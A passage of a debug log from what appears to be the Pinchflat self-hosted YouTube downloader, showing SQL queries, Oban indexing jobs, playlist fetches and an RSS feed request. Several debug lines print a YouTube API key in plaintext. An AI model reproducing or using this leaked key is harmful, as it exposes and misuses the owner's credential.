s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 16:44:59.875 [debug] QUERY OK source="tasks" db=0.1ms idle=174.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268297, 30, ~U[2026-10-09 21:44:59Z], ~U[2026-10-09 21:44:59Z]] 16:44:59.875 [info] {"args":{"id":30},"id":5268257,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175805,"event":"job:stop","queue_time":471375,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:00.024 [debug] QUERY OK source="media_items" db=0.6ms idle=149.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 16:45:00.025 [debug] QUERY OK source="media_items" db=0.4ms idle=150.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 16:45:00.026 [debug] QUERY OK source="tasks" db=0.1ms idle=145.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268298, 8, ~U[2026-10-09 21:45:00Z], ~U[2026-10-09 21:45:00Z]] 16:45:00.027 [info] {"args":{"id":8},"id":5268258,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":327494,"event":"job:stop","queue_time":215932,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:00.411 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:00.700 [info] {"args":{"id":34},"id":5268259,"meta":{},"system_time":1791582300700224649,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:00.700 [debug] QUERY OK source="sources" db=0.1ms idle=673.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 16:45:00.700 [debug] QUERY OK source="settings" db=0.1ms idle=667.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:00.700 [debug] QUERY OK source="media_profiles" db=0.1ms idle=289.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:00.701 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:00.701 [debug] Fetching recent media IDs from YouTube API for playlist: UU6iWKC08iw9K-R6Wh5pbZNQ 16:45:00.701 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:00.701 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:00.994 [debug] QUERY OK source="media_items" db=0.6ms idle=292.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [34, "vi-cAZvD08s", "N8b_JrkIrFA", "_C82HmWXOHU", "CMt516aquG4", "ZKjWOV_XX9s", "d4oDnYq99GM", "twsawZkIW30", "4-uV8bXI-3I", "MkbjGfPsqOs", "3IK96Cvv4Xw", "hXcwGoM5Pdk", "TMXlLYjFhM4", "O3OTzFBpCz8", "6_dgTAazOpQ", "XfgkEI70ycc", "YbFc28Y7tRU", "EwlIKSA-Q9o", "TwZXPWxr7xc", "EDhRsprneR0", "MFm1EYcMUzw", "1nOQUJRYKMQ", "U1TjlDmDwMQ", "JgFsGozkIdM", "HHWpREejF3E", "Qvl-cwj4sMA", "OqUS5j6MZqg", "FI7U_i9rvK8", "_w0m6l0VB1w", "5S-b--SGYzU", "WSO46GKHVqM", "5UPsu6NftAM", "3JQanAa2Nks", "koZAl2eR0uc", "MYsZBQBEyH8", "g5d6Wc6d9zQ", "62_eib3AXak", "rpQOl4GgqcU", "6VXR5DN717U", "rubXAQS9nK8", "-da0DmLmZ0c", "89Lpe1IkOo4", "gWE6ciTaGpQ", "zfkT5P6jOYg", "n-7fOF9NmRo", "PSOlfw1a7wY", "K0G5S7C6XIE", "eYE9Py0LE3Y", "_KePakgcsnE", "lHECiTguosg", ...] 16:45:00.995 [debug] QUERY OK source="media_items" db=1.0ms idle=293.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [34] 16:45:00.996 [debug] QUERY OK source="tasks" db=0.1ms idle=294.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268299, 34, ~U[2026-10-09 21:45:00Z], ~U[2026-10-09 21:45:00Z]] 16:45:00.996 [info] {"args":{"id":34},"id":5268259,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":296227,"event":"job:stop","queue_time":290724,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:01.701 [info] {"args":{"id":33},"id":5268260,"meta":{},"system_time":1791582301701273067,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:01.701 [debug] QUERY OK source="sources" db=0.1ms idle=705.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 16:45:01.701 [debug] QUERY OK source="settings" db=0.1ms idle=705.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:01.701 [debug] QUERY OK source="media_profiles" db=0.0ms idle=699.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:01.702 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:01.702 [debug] Fetching recent media IDs from YouTube API for playlist: UUG7J20LhUeLl6y_Emi7OJrA 16:45:01.702 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:01.702 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:01.848 [debug] QUERY OK source="media_items" db=0.6ms idle=145.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [33, "Q7MpFTrT9Gk", "pjovhZ7HkNs", "3F9M1ttIIbU", "7soMd19QQo0", "_sJ45_nrbms", "WO591I22Yew", "Sh1SWKZ8oQo", "6G19kaP8kJQ", "G3z8mL2_oJo", "AAOQUkA27Q0", "ZrAkCJS9H1s", "tCGBoTY8sq4", "Puny-2wkMZA", "DCfhUeYWv9A", "QGHDN7Zdu1E", "rVUBIzOwci8", "p6EAA6PNaec", "gxi72c5pXKs", "8ZjfzTLmuyM", "luq4Vsy38Ac", "8quSH5g6yl4", "UecKUN9AUaM", "-wjoCF-WPTI", "CW35wawjROc", "fMp3TPlEBQg", "ZsAwLo1q3j8", "NzsuvbUl7gQ", "HZvj8T5_oUE", "drTjLvO8GGs", "8rJJUfkeZvI", "UnXPSjJCTaA", "dbL5Ht1M5Ms", "9-cfmjKIYkQ", "PLvZPtFrX8Q", "uOLqPKuO2Bo", "Y7c0Pm_UVFQ", "eNgD1kg3U14", "clT0mzdwAAw", "hx_rBNhBMUY", "twQKO6x41lk", "WyL9aPjepWU", "P3gSkMK7_As", "vfvQ-HRUm8Y", "3y0y_Papw2s", "BWbMxeNv_Qg", "VeNvWih_nZM", "4iAEbavS8yc", "_EgbBQuviLk", "pTspjZ4Gjwo", ...] 16:45:01.849 [debug] QUERY OK source="media_items" db=0.5ms idle=147.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 16:45:01.850 [debug] QUERY OK source="tasks" db=0.1ms idle=147.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268300, 33, ~U[2026-10-09 21:45:01Z], ~U[2026-10-09 21:45:01Z]] 16:45:01.850 [info] {"args":{"id":33},"id":5268260,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":148987,"event":"job:stop","queue_time":330243,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:02.287 [info] GET /sources/5ed78056-1c3b-40d4-b05a-74597adc9f60/feed.xml 16:45:02.287 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "5ed78056-1c3b-40d4-b05a-74597adc9f60"} Pipelines: [:maybe_basic_auth] 16:45:02.287 [debug] QUERY OK source="sources" db=0.2ms idle=437.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["5ed78056-1c3b-40d4-b05a-74597adc9f60"] 16:45:02.288 [debug] QUERY OK source="media_items" db=0.4ms idle=437.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [44, 2000] 16:45:02.290 [debug] QUERY OK source="source_metadata" db=0.1ms idle=439.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [44] 16:45:02.290 [debug] QUERY OK source="media_metadata" db=0.0ms idle=439.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577511] 16:45:02.290 [info] Sent 200 in 3ms 16:45:02.702 [info] {"args":{"id":39},"id":5268261,"meta":{},"system_time":1791582302702280649,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:02.702 [info] {"args":{"id":46},"id":5268262,"meta":{},"system_time":1791582302702332606,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:02.702 [debug] QUERY OK source="sources" db=0.1ms idle=414.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 16:45:02.702 [debug] QUERY OK source="sources" db=0.2ms idle=412.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [46] 16:45:02.703 [debug] QUERY OK source="settings" db=0.1ms idle=412.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:02.703 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 16:45:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] Fetching recent media IDs from YouTube API for playlist: UUKV7SrXQuG5LO2QccuioQWw 16:45:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:02.703 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:02.703 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:02.990 [debug] QUERY OK source="media_items" db=0.6ms idle=286.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", 